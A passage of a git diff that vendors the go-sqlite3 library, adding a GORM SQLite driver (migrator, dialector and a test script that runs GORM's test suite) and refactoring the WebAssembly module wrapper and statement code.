+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)",
+ "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%",
+ ).Row().Scan(&count)
+
+ return nil
+ })
+
+ return count > 0
+}
+
+func (m Migrator) CurrentDatabase() (name string) {
+ var null interface{}
+ m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null)
+ return
+}
+
+func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) {
+ for _, opt := range opts {
+ str := stmt.Quote(opt.DBName)
+ if opt.Expression != "" {
+ str = opt.Expression
+ }
+
+ if opt.Collate != "" {
+ str += " COLLATE " + opt.Collate
+ }
+
+ if opt.Sort != "" {
+ str += " " + opt.Sort
+ }
+ results = append(results, clause.Expr{SQL: str})
+ }
+ return
+}
+
+func (m Migrator) CreateIndex(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if stmt.Schema != nil {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ opts := m.BuildIndexOptions(idx.Fields, stmt)
+ values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts}
+
+ createIndexSQL := "CREATE "
+ if idx.Class != "" {
+ createIndexSQL += idx.Class + " "
+ }
+ createIndexSQL += "INDEX ?"
+
+ if idx.Type != "" {
+ createIndexSQL += " USING " + idx.Type
+ }
+ createIndexSQL += " ON ??"
+
+ if idx.Where != "" {
+ createIndexSQL += " WHERE " + idx.Where
+ }
+
+ return m.DB.Exec(createIndexSQL, values...).Error
+ }
+ }
+ return fmt.Errorf("failed to create index with name %v", name)
+ })
+}
+
+func (m Migrator) HasIndex(value interface{}, name string) bool {
+ var count int
+ m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if stmt.Schema != nil {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ name = idx.Name
+ }
+ }
+
+ if name != "" {
+ m.DB.Raw(
+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name,
+ ).Row().Scan(&count)
+ }
+ return nil
+ })
+ return count > 0
+}
+
+func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ var sql string
+ m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql)
+ if sql != "" {
+ if err := m.DropIndex(value, oldName); err != nil {
+ return err
+ }
+ return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error
+ }
+ return fmt.Errorf("failed to find index with name %v", oldName)
+ })
+}
+
+func (m Migrator) DropIndex(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if stmt.Schema != nil {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ name = idx.Name
+ }
+ }
+
+ return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error
+ })
+}
+
+func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) {
+ sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??"
+ if constraint.OnDelete != "" {
+ sql += " ON DELETE " + constraint.OnDelete
+ }
+
+ if constraint.OnUpdate != "" {
+ sql += " ON UPDATE " + constraint.OnUpdate
+ }
+
+ var foreignKeys, references []interface{}
+ for _, field := range constraint.ForeignKeys {
+ foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName})
+ }
+
+ for _, field := range constraint.References {
+ references = append(references, clause.Column{Name: field.DBName})
+ }
+ results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references)
+ return
+}
+
+func (m Migrator) getRawDDL(table string) (string, error) {
+ var createSQL string
+ m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL)
+
+ if m.DB.Error != nil {
+ return "", m.DB.Error
+ }
+ return createSQL, nil
+}
+
+func (m Migrator) recreateTable(value interface{}, tablePtr *string,
+ getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ table := stmt.Table
+ if tablePtr != nil {
+ table = *tablePtr
+ }
+
+ rawDDL, err := m.getRawDDL(table)
+ if err != nil {
+ return err
+ }
+
+ newTableName := table + "__temp"
+
+ createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt)
+ if err != nil {
+ return err
+ }
+ if createSQL == "" {
+ return nil
+ }
+
+ tableReg, err := regexp.Compile("\\s*('|`|\")?\\b" + table + "\\b('|`|\")?\\s*")
+ if err != nil {
+ return err
+ }
+ createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName))
+
+ createDDL, err := parseDDL(createSQL)
+ if err != nil {
+ return err
+ }
+ columns := createDDL.getColumns()
+
+ return m.DB.Transaction(func(tx *gorm.DB) error {
+ if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil {
+ return err
+ }
+
+ queries := []string{
+ fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table),
+ fmt.Sprintf("DROP TABLE `%v`", table),
+ fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table),
+ }
+ for _, query := range queries {
+ if err := tx.Exec(query).Error; err != nil {
+ return err
+ }
+ }
+ return nil
+ })
+ })
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go
new file mode 100644
index 0000000000..837d57c935
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/sqlite.go
@@ -0,0 +1,219 @@
+// Package gormlite provides a GORM driver for SQLite.
+package gormlite
+
+import (
+ "context"
+ "database/sql"
+ "strconv"
+ "strings"
+
+ "gorm.io/gorm"
+ "gorm.io/gorm/callbacks"
+ "gorm.io/gorm/clause"
+ "gorm.io/gorm/logger"
+ "gorm.io/gorm/migrator"
+ "gorm.io/gorm/schema"
+
+ _ "github.com/ncruces/go-sqlite3/driver"
+)
+
+type Dialector struct {
+ DSN string
+ Conn gorm.ConnPool
+}
+
+func Open(dsn string) gorm.Dialector {
+ return &Dialector{DSN: dsn}
+}
+
+func (dialector Dialector) Name() string {
+ return "sqlite"
+}
+
+func (dialector Dialector) Initialize(db *gorm.DB) (err error) {
+ if dialector.Conn != nil {
+ db.ConnPool = dialector.Conn
+ } else {
+ conn, err := sql.Open("sqlite3", dialector.DSN)
+ if err != nil {
+ return err
+ }
+ db.ConnPool = conn
+ }
+
+ var version string
+ if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil {
+ return err
+ }
+ // https://www.sqlite.org/releaselog/3_35_0.html
+ if compareVersion(version, "3.35.0") >= 0 {
+ callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{
+ CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"},
+ UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"},
+ DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"},
+ LastInsertIDReversed: true,
+ })
+ } else {
+ callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{
+ LastInsertIDReversed: true,
+ })
+ }
+
+ for k, v := range dialector.ClauseBuilders() {
+ db.ClauseBuilders[k] = v
+ }
+ return
+}
+
+func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder {
+ return map[string]clause.ClauseBuilder{
+ "INSERT": func(c clause.Clause, builder clause.Builder) {
+ if insert, ok := c.Expression.(clause.Insert); ok {
+ if stmt, ok := builder.(*gorm.Statement); ok {
+ stmt.WriteString("INSERT ")
+ if insert.Modifier != "" {
+ stmt.WriteString(insert.Modifier)
+ stmt.WriteByte(' ')
+ }
+
+ stmt.WriteString("INTO ")
+ if insert.Table.Name == "" {
+ stmt.WriteQuoted(stmt.Table)
+ } else {
+ stmt.WriteQuoted(insert.Table)
+ }
+ return
+ }
+ }
+
+ c.Build(builder)
+ },
+ "LIMIT": func(c clause.Clause, builder clause.Builder) {
+ if limit, ok := c.Expression.(clause.Limit); ok {
+ var lmt = -1
+ if limit.Limit != nil && *limit.Limit >= 0 {
+ lmt = *limit.Limit
+ }
+ if lmt >= 0 || limit.Offset > 0 {
+ builder.WriteString("LIMIT ")
+ builder.WriteString(strconv.Itoa(lmt))
+ }
+ if limit.Offset > 0 {
+ builder.WriteString(" OFFSET ")
+ builder.WriteString(strconv.Itoa(limit.Offset))
+ }
+ }
+ },
+ "FOR": func(c clause.Clause, builder clause.Builder) {
+ if _, ok := c.Expression.(clause.Locking); ok {
+ // SQLite3 does not support row-level locking.
+ return
+ }
+ c.Build(builder)
+ },
+ }
+}
+
+func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression {
+ if field.AutoIncrement {
+ return clause.Expr{SQL: "NULL"}
+ }
+
+ // doesn't work, will raise error
+ return clause.Expr{SQL: "DEFAULT"}
+}
+
+func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator {
+ return Migrator{migrator.Migrator{Config: migrator.Config{
+ DB: db,
+ Dialector: dialector,
+ CreateIndexAfterCreateTable: true,
+ }}}
+}
+
+func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) {
+ writer.WriteByte('?')
+}
+
+func (dialector Dialector) QuoteTo(writer clause.Writer, str string) {
+ writer.WriteByte('`')
+ if strings.Contains(str, ".") {
+ for idx, str := range strings.Split(str, ".") {
+ if idx > 0 {
+ writer.WriteString(".`")
+ }
+ writer.WriteString(str)
+ writer.WriteByte('`')
+ }
+ } else {
+ writer.WriteString(str)
+ writer.WriteByte('`')
+ }
+}
+
+func (dialector Dialector) Explain(sql string, vars ...interface{}) string {
+ return logger.ExplainSQL(sql, nil, `"`, vars...)
+}
+
+func (dialector Dialector) DataTypeOf(field *schema.Field) string {
+ switch field.DataType {
+ case schema.Bool:
+ return "numeric"
+ case schema.Int, schema.Uint:
+ if field.AutoIncrement && !field.PrimaryKey {
+ // https://www.sqlite.org/autoinc.html
+ return "integer PRIMARY KEY AUTOINCREMENT"
+ } else {
+ return "integer"
+ }
+ case schema.Float:
+ return "real"
+ case schema.String:
+ return "text"
+ case schema.Time:
+ // Distinguish between schema.Time and tag time
+ if val, ok := field.TagSettings["TYPE"]; ok {
+ return val
+ } else {
+ return "datetime"
+ }
+ case schema.Bytes:
+ return "blob"
+ }
+
+ return string(field.DataType)
+}
+
+func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error {
+ tx.Exec("SAVEPOINT " + name)
+ return nil
+}
+
+func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error {
+ tx.Exec("ROLLBACK TO SAVEPOINT " + name)
+ return nil
+}
+
+func compareVersion(version1, version2 string) int {
+ n, m := len(version1), len(version2)
+ i, j := 0, 0
+ for i < n || j < m {
+ x := 0
+ for ; i < n && version1[i] != '.'; i++ {
+ x = x*10 + int(version1[i]-'0')
+ }
+ i++
+ y := 0
+ for ; j < m && version2[j] != '.'; j++ {
+ y = y*10 + int(version2[j]-'0')
+ }
+ j++
+ if x > y {
+ return 1
+ }
+ if x < y {
+ return -1
+ }
+ }
+ return 0
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh
new file mode 100644
index 0000000000..4fc43ce7ce
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/test.sh
@@ -0,0 +1,24 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+cd -P -- "$(dirname -- "$0")"
+
+rm -rf gorm/ tests/ "$(dirname $(mktemp -u))/gorm.db"
+git clone --filter=blob:none https://github.com/go-gorm/gorm.git
+mv gorm/tests tests
+rm -rf gorm/
+
+patch -p1 -N < tests.patch
+
+cd tests
+go mod edit \
+ -require github.com/ncruces/go-sqlite3/gormlite@v0.0.0 \
+ -replace github.com/ncruces/go-sqlite3/gormlite=../ \
+ -replace github.com/ncruces/go-sqlite3=../../ \
+ -droprequire gorm.io/driver/sqlite \
+ -dropreplace gorm.io/gorm
+go mod tidy && go work use . && go test
+
+cd ..
+rm -rf tests/ "$(dirname $(mktemp -u))/gorm.db"
+go work use -r .
\ No newline at end of file
diff --git a/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch
new file mode 100644
index 0000000000..01269e3931
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/gormlite/tests.patch
@@ -0,0 +1,31 @@
+diff --git a/tests/.gitignore b/tests/.gitignore
+--- a/tests/.gitignore
++++ b/tests/.gitignore
+@@ -1 +1 @@
+-go.sum
++*
+diff --git a/tests/tests_test.go b/tests/tests_test.go
+--- a/tests/tests_test.go
++++ b/tests/tests_test.go
+@@ -7,9 +7,11 @@ import (
+ "path/filepath"
+ "time"
+
++ _ "github.com/ncruces/go-sqlite3/embed"
++ sqlite "github.com/ncruces/go-sqlite3/gormlite"
++
+ "gorm.io/driver/mysql"
+ "gorm.io/driver/postgres"
+- "gorm.io/driver/sqlite"
+ "gorm.io/driver/sqlserver"
+ "gorm.io/gorm"
+ "gorm.io/gorm/logger"
+@@ -89,7 +91,7 @@ func OpenTestConnection(cfg *gorm.Config) (db *gorm.DB, err error) {
+ db, err = gorm.Open(mysql.Open(dbDSN), cfg)
+ default:
+ log.Println("testing sqlite3...")
+- db, err = gorm.Open(sqlite.Open(filepath.Join(os.TempDir(), "gorm.db?_foreign_keys=on")), cfg)
++ db, err = gorm.Open(sqlite.Open("file:"+filepath.Join(os.TempDir(), "gorm.db")+"?_pragma=busy_timeout(1000)&_pragma=foreign_keys(1)"), cfg)
+ }
+
+ if err != nil {
diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go
index 65efe3b39e..9ff775774c 100644
--- a/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go
+++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/func.go
@@ -10,6 +10,32 @@ import (
type i32 interface{ ~int32 | ~uint32 }
type i64 interface{ ~int64 | ~uint64 }
+type funcVI[T0 i32] func(context.Context, api.Module, T0)
+
+func (fn funcVI[T0]) Call(ctx context.Context, mod api.Module, stack []uint64) {
+ fn(ctx, mod, T0(stack[0]))
+}
+
+func ExportFuncVI[T0 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0)) {
+ mod.NewFunctionBuilder().
+ WithGoModuleFunction(funcVI[T0](fn),
+ []api.ValueType{api.ValueTypeI32}, nil).
+ Export(name)
+}
+
+type funcVIII[T0, T1, T2 i32] func(context.Context, api.Module, T0, T1, T2)
+
+func (fn funcVIII[T0, T1, T2]) Call(ctx context.Context, mod api.Module, stack []uint64) {
+ fn(ctx, mod, T0(stack[0]), T1(stack[1]), T2(stack[2]))
+}
+
+func ExportFuncVIII[T0, T1, T2 i32](mod wazero.HostModuleBuilder, name string, fn func(context.Context, api.Module, T0, T1, T2)) {
+ mod.NewFunctionBuilder().
+ WithGoModuleFunction(funcVIII[T0, T1, T2](fn),
+ []api.ValueType{api.ValueTypeI32, api.ValueTypeI32, api.ValueTypeI32}, nil).
+ Export(name)
+}
+
type funcII[TR, T0 i32] func(context.Context, api.Module, T0) TR
func (fn funcII[TR, T0]) Call(ctx context.Context, mod api.Module, stack []uint64) {
diff --git a/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go
new file mode 100644
index 0000000000..2309ed478f
--- /dev/null
+++ b/vendor/github.com/ncruces/go-sqlite3/internal/util/handle.go
@@ -0,0 +1,75 @@
+package util
+
+import (
+ "context"
+ "io"
+
+ "github.com/tetratelabs/wazero/experimental"
+)
+
+type handleKey struct{}
+type handleState struct {
+ handles []any
+ empty int
+}
+
+func NewContext(ctx context.Context) context.Context {
+ state := new(handleState)
+ ctx = experimental.WithCloseNotifier(ctx, state)
+ ctx = context.WithValue(ctx, handleKey{}, state)
+ return ctx
+}
+
+func (s *handleState) CloseNotify(ctx context.Context, exitCode uint32) {
+ for _, h := range s.handles {
+ if c, ok := h.(io.Closer); ok {
+ c.Close()
+ }
+ }
+ s.handles = nil
+ s.empty = 0
+}
+
+func GetHandle(ctx context.Context, id uint32) any {
+ if id == 0 {
+ return nil
+ }
+ s := ctx.Value(handleKey{}).(*handleState)
+ return s.handles[^id]
+}
+
+func DelHandle(ctx context.Context, id uint32) error {
+ if id == 0 {
+ return nil
+ }
+ s := ctx.Value(handleKey{}).(*handleState)
+ a := s.handles[^id]
+ s.handles[^id] = nil
+ s.empty++
+ if c, ok := a.(io.Closer); ok {
+ return c.Close()
+ }
+ return nil
+}
+
+func AddHandle(ctx context.Context, a any) (id uint32) {
+ if a == nil {
+ panic(NilErr)
+ }
+ s := ctx.Value(handleKey{}).(*handleState)
+
+ // Find an empty slot.
+ if s.empty > cap(s.handles)-len(s.handles) {
+ for id, h := range s.handles {
+ if h == nil {
+ s.empty--
+ s.handles[id] = a
+ return ^uint32(id)
+ }
+ }
+ }
+
+ // Add a new slot.
+ s.handles = append(s.handles, a)
+ return -uint32(len(s.handles))
+}
diff --git a/vendor/github.com/ncruces/go-sqlite3/module.go b/vendor/github.com/ncruces/go-sqlite3/sqlite.go
similarity index 57%
rename from vendor/github.com/ncruces/go-sqlite3/module.go
rename to vendor/github.com/ncruces/go-sqlite3/sqlite.go
index e279601629..f442a723d2 100644
--- a/vendor/github.com/ncruces/go-sqlite3/module.go
+++ b/vendor/github.com/ncruces/go-sqlite3/sqlite.go
@@ -3,7 +3,6 @@ package sqlite3
import (
"context"
- "io"
"math"
"os"
"sync"
@@ -25,70 +24,67 @@ var (
Path string // Path to load the binary from.
)
-var sqlite3 struct {
+var instance struct {
runtime wazero.Runtime
compiled wazero.CompiledModule
err error
once sync.Once
}
-func instantiateModule() (*module, error) {
+func compileSQLite() {
ctx := context.Background()
+ instance.runtime = wazero.NewRuntime(ctx)
- sqlite3.once.Do(compileModule)
- if sqlite3.err != nil {
- return nil, sqlite3.err
- }
-
- cfg := wazero.NewModuleConfig()
-
- mod, err := sqlite3.runtime.InstantiateModule(ctx, sqlite3.compiled, cfg)
- if err != nil {
- return nil, err
- }
- return newModule(mod)
-}
-
-func compileModule() {
- ctx := context.Background()
- sqlite3.runtime = wazero.NewRuntime(ctx)
-
- env := vfs.ExportHostFunctions(sqlite3.runtime.NewHostModuleBuilder("env"))
- _, sqlite3.err = env.Instantiate(ctx)
- if sqlite3.err != nil {
+ env := instance.runtime.NewHostModuleBuilder("env")
+ env = vfs.ExportHostFunctions(env)
+ env = exportHostFunctions(env)
+ _, instance.err = env.Instantiate(ctx)
+ if instance.err != nil {
return
}
bin := Binary
if bin == nil && Path != "" {
- bin, sqlite3.err = os.ReadFile(Path)
- if sqlite3.err != nil {
+ bin, instance.err = os.ReadFile(Path)
+ if instance.err != nil {
return
}
}
if bin == nil {
- sqlite3.err = util.BinaryErr
+ instance.err = util.BinaryErr
return
}
- sqlite3.compiled, sqlite3.err = sqlite3.runtime.CompileModule(ctx, bin)
+ instance.compiled, instance.err = instance.runtime.CompileModule(ctx, bin)
}
-type module struct {
- ctx context.Context
- mod api.Module
- vfs io.Closer
- api sqliteAPI
- arg [8]uint64
+type sqlite struct {
+ ctx context.Context
+ mod api.Module
+ api sqliteAPI
+ stack [8]uint64
}
-func newModule(mod api.Module) (m *module, err error) {
- m = new(module)
- m.mod = mod
- m.ctx, m.vfs = vfs.NewContext(context.Background())
+type sqliteKey struct{}
+
+func instantiateSQLite() (sqlt *sqlite, err error) {
+ instance.once.Do(compileSQLite)
+ if instance.err != nil {
+ return nil, instance.err
+ }
+
+ sqlt = new(sqlite)
+ sqlt.ctx = util.NewContext(context.Background())
+ sqlt.ctx = context.WithValue(sqlt.ctx, sqliteKey{}, sqlt)
+
+ sqlt.mod, err = instance.runtime.InstantiateModule(sqlt.ctx,
+ instance.compiled, wazero.NewModuleConfig())
+ if err != nil {
+ return nil, err
+ }
getFun := func(name string) api.Function {
- f := mod.ExportedFunction(name)
+ f := sqlt.mod.ExportedFunction(name)
if f == nil {
err = util.NoFuncErr + util.ErrorString(name)
return nil
@@ -97,15 +93,15 @@ func newModule(mod api.Module) (m *module, err error) {
}
getVal := func(name string) uint32 {
- g := mod.ExportedGlobal(name)
+ g := sqlt.mod.ExportedGlobal(name)
if g == nil {
err = util.NoGlobalErr + util.ErrorString(name)
return 0
}
- return util.ReadUint32(mod, uint32(g.Get()))
+ return util.ReadUint32(sqlt.mod, uint32(g.Get()))
}
- m.api = sqliteAPI{
+ sqlt.api = sqliteAPI{
free: getFun("free"),
malloc: getFun("malloc"),
destructor: getVal("malloc_destructor"),
@@ -153,20 +149,43 @@ func newModule(mod api.Module) (m *module, err error) {
changes: getFun("sqlite3_changes64"),
lastRowid: getFun("sqlite3_last_insert_rowid"),
autocommit: getFun("sqlite3_get_autocommit"),
+ anyCollation: getFun("sqlite3_anycollseq_init"),
+ createCollation: getFun("sqlite3_create_collation_go"),
+ createFunction: getFun("sqlite3_create_function_go"),
+ createAggregate: getFun("sqlite3_create_aggregate_function_go"),
+ createWindow: getFun("sqlite3_create_window_function_go"),
+ aggregateCtx: getFun("sqlite3_aggregate_context"),
+ userData: getFun("sqlite3_user_data"),
+ setAuxData: getFun("sqlite3_set_auxdata_go"),
+ getAuxData: getFun("sqlite3_get_auxdata"),
+ valueType: getFun("sqlite3_value_type"),
+ valueInteger: getFun("sqlite3_value_int64"),
+ valueFloat: getFun("sqlite3_value_double"),
+ valueText: getFun("sqlite3_value_text"),
+ valueBlob: getFun("sqlite3_value_blob"),
+ valueBytes: getFun("sqlite3_value_bytes"),
+ resultNull: getFun("sqlite3_result_null"),
+ resultInteger: getFun("sqlite3_result_int64"),
+ resultFloat: getFun("sqlite3_result_double"),
+ resultText: getFun("sqlite3_result_text64"),
+ resultBlob: getFun("sqlite3_result_blob64"),
+ resultZeroBlob: getFun("sqlite3_result_zeroblob64"),
+ resultError: getFun("sqlite3_result_error"),
+ resultErrorCode: getFun("sqlite3_result_error_code"),
+ resultErrorMem: getFun("sqlite3_result_error_nomem"),
+ resultErrorBig: getFun("sqlite3_result_error_toobig"),
}
if err != nil {
return nil, err
}
- return m, nil
+ return sqlt, nil
}
-func (m *module) close() error {
- err := m.mod.Close(m.ctx)
- m.vfs.Close()
- return err
+func (sqlt *sqlite) close() error {
+ return sqlt.mod.Close(sqlt.ctx)
}
-func (m *module) error(rc uint64, handle uint32, sql ...string) error {
+func (sqlt *sqlite) error(rc uint64, handle uint32, sql ...string) error {
if rc == _OK {
return nil
}
@@ -177,16 +196,16 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error {
panic(util.OOMErr)
}
- if r := m.call(m.api.errstr, rc); r != 0 {
- err.str = util.ReadString(m.mod, uint32(r), _MAX_STRING)
+ if r := sqlt.call(sqlt.api.errstr, rc); r != 0 {
+ err.str = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING)
}
- if r := m.call(m.api.errmsg, uint64(handle)); r != 0 {
- err.msg = util.ReadString(m.mod, uint32(r), _MAX_STRING)
+ if r := sqlt.call(sqlt.api.errmsg, uint64(handle)); r != 0 {
+ err.msg = util.ReadString(sqlt.mod, uint32(r), _MAX_STRING)
}
if sql != nil {
- if r := m.call(m.api.erroff, uint64(handle)); r != math.MaxUint32 {
+ if r := sqlt.call(sqlt.api.erroff, uint64(handle)); r != math.MaxUint32 {
err.sql = sql[0][r:]
}
}
@@ -198,60 +217,58 @@ func (m *module) error(rc uint64, handle uint32, sql ...string) error {
return &err
}
-func (m *module) call(fn api.Function, params ...uint64) uint64 {
- copy(m.arg[:], params)
- err := fn.CallWithStack(m.ctx, m.arg[:])
+func (sqlt *sqlite) call(fn api.Function, params ...uint64) uint64 {
+ copy(sqlt.stack[:], params)
+ err := fn.CallWithStack(sqlt.ctx, sqlt.stack[:])
if err != nil {
- // The module closed or panicked; release resources.
- m.vfs.Close()
panic(err)
}
- return m.arg[0]
+ return sqlt.stack[0]
}
-func (m *module) free(ptr uint32) {
+func (sqlt *sqlite) free(ptr uint32) {
if ptr == 0 {
return
}
- m.call(m.api.free, uint64(ptr))
+ sqlt.call(sqlt.api.free, uint64(ptr))
}
-func (m *module) new(size uint64) uint32 {
+func (sqlt *sqlite) new(size uint64) uint32 {
if size > _MAX_ALLOCATION_SIZE {
panic(util.OOMErr)
}
- ptr := uint32(m.call(m.api.malloc, size))
+ ptr := uint32(sqlt.call(sqlt.api.malloc, size))
if ptr == 0 && size != 0 {
panic(util.OOMErr)
}
return ptr
}
-func (m *module) newBytes(b []byte) uint32 {
+func (sqlt *sqlite) newBytes(b []byte) uint32 {
if b == nil {
return 0
}
- ptr := m.new(uint64(len(b)))
- util.WriteBytes(m.mod, ptr, b)
+ ptr := sqlt.new(uint64(len(b)))
+ util.WriteBytes(sqlt.mod, ptr, b)
return ptr
}
-func (m *module) newString(s string) uint32 {
- ptr := m.new(uint64(len(s) + 1))
- util.WriteString(m.mod, ptr, s)
+func (sqlt *sqlite) newString(s string) uint32 {
+ ptr := sqlt.new(uint64(len(s) + 1))
+ util.WriteString(sqlt.mod, ptr, s)
return ptr
}
-func (m *module) newArena(size uint64) arena {
+func (sqlt *sqlite) newArena(size uint64) arena {
return arena{
- m: m,
- base: m.new(size),
+ sqlt: sqlt,
size: uint32(size),
+ base: sqlt.new(size),
}
}
type arena struct {
- m *module
+ sqlt *sqlite
ptrs []uint32
base uint32
next uint32
@@ -259,17 +276,17 @@ type arena struct {
}
func (a *arena) free() {
- if a.m == nil {
+ if a.sqlt == nil {
return
}
a.reset()
- a.m.free(a.base)
- a.m = nil
+ a.sqlt.free(a.base)
+ a.sqlt = nil
}
func (a *arena) reset() {
for _, ptr := range a.ptrs {
- a.m.free(ptr)
+ a.sqlt.free(ptr)
}
a.ptrs = nil
a.next = 0
@@ -281,7 +298,7 @@ func (a *arena) new(size uint64) uint32 {
a.next += uint32(size)
return ptr
}
- ptr := a.m.new(size)
+ ptr := a.sqlt.new(size)
a.ptrs = append(a.ptrs, ptr)
return ptr
}
@@ -291,13 +308,13 @@ func (a *arena) bytes(b []byte) uint32 {
return 0
}
ptr := a.new(uint64(len(b)))
- util.WriteBytes(a.m.mod, ptr, b)
+ util.WriteBytes(a.sqlt.mod, ptr, b)
return ptr
}
func (a *arena) string(s string) uint32 {
ptr := a.new(uint64(len(s) + 1))
- util.WriteString(a.m.mod, ptr, s)
+ util.WriteString(a.sqlt.mod, ptr, s)
return ptr
}
@@ -317,10 +334,10 @@ type sqliteAPI struct {
step api.Function
exec api.Function
clearBindings api.Function
- bindNull api.Function
bindCount api.Function
bindIndex api.Function
bindName api.Function
+ bindNull api.Function
bindInteger api.Function
bindFloat api.Function
bindText api.Function
@@ -348,5 +365,30 @@ type sqliteAPI struct {
changes api.Function
lastRowid api.Function
autocommit api.Function
+ anyCollation api.Function
+ createCollation api.Function
+ createFunction api.Function
+ createAggregate api.Function
+ createWindow api.Function
+ aggregateCtx api.Function
+ userData api.Function
+ setAuxData api.Function
+ getAuxData api.Function
+ valueType api.Function
+ valueInteger api.Function
+ valueFloat api.Function
+ valueText api.Function
+ valueBlob api.Function
+ valueBytes api.Function
+ resultNull api.Function
+ resultInteger api.Function
+ resultFloat api.Function
+ resultText api.Function
+ resultBlob api.Function
+ resultZeroBlob api.Function
+ resultError api.Function
+ resultErrorCode api.Function
+ resultErrorMem api.Function
+ resultErrorBig api.Function
destructor uint32
}
diff --git a/vendor/github.com/ncruces/go-sqlite3/stmt.go b/vendor/github.com/ncruces/go-sqlite3/stmt.go
index 2fae0b40fb..c26de44cc2 100644
--- a/vendor/github.com/ncruces/go-sqlite3/stmt.go
+++ b/vendor/github.com/ncruces/go-sqlite3/stmt.go
@@ -131,10 +131,11 @@ func (s *Stmt) BindName(param int) string {
//
// https://www.sqlite.org/c3ref/bind_blob.html
func (s *Stmt) BindBool(param int, value bool) error {
+ var i int64
if value {
- return s.BindInt64(param, 1)
+ i = 1
}
- return s.BindInt64(param, 0)
+ return s.BindInt64(param, i)
}
// BindInt binds an int to the prepared statement.
@@ -374,18 +375,7 @@ func (s *Stmt) ColumnBlob(col int, buf []byte) []byte {
func (s *Stmt) ColumnRawText(col int) []byte {
r := s.c.call(s.c.api.columnText,
uint64(s.handle), uint64(col))
-
- ptr := uint32(r)
- if ptr == 0 {
- r = s.c.call(s.c.api.errcode, uint64(s.c.handle))
- s.err = s.c.error(r)
- return nil
- }
-
- r = s.c.call(s.c.api.columnBytes,
- uint64(s.handle), uint64(col))
-
- return util.View(s.c.mod, ptr, r)
+ return s.columnRawBytes(col, uint32(r))
}
// ColumnRawBlob returns the value of the result column as a []byte.
@@ -397,17 +387,18 @@ func (s *Stmt) ColumnRawText(col int) []byte {
func (s *Stmt) ColumnRawBlob(col int) []byte {
r := s.c.call(s.c.api.columnBlob,
uint64(s.handle), uint64(col))
+ return s.columnRawBytes(col, uint32(r))
+}
- ptr := uint32(r)
+func (s *Stmt) columnRawBytes(col int, ptr uint32) []byte {
if ptr == 0 {
- r = s.c.call(s.c.api.errcode, uint64(s.c.handle))
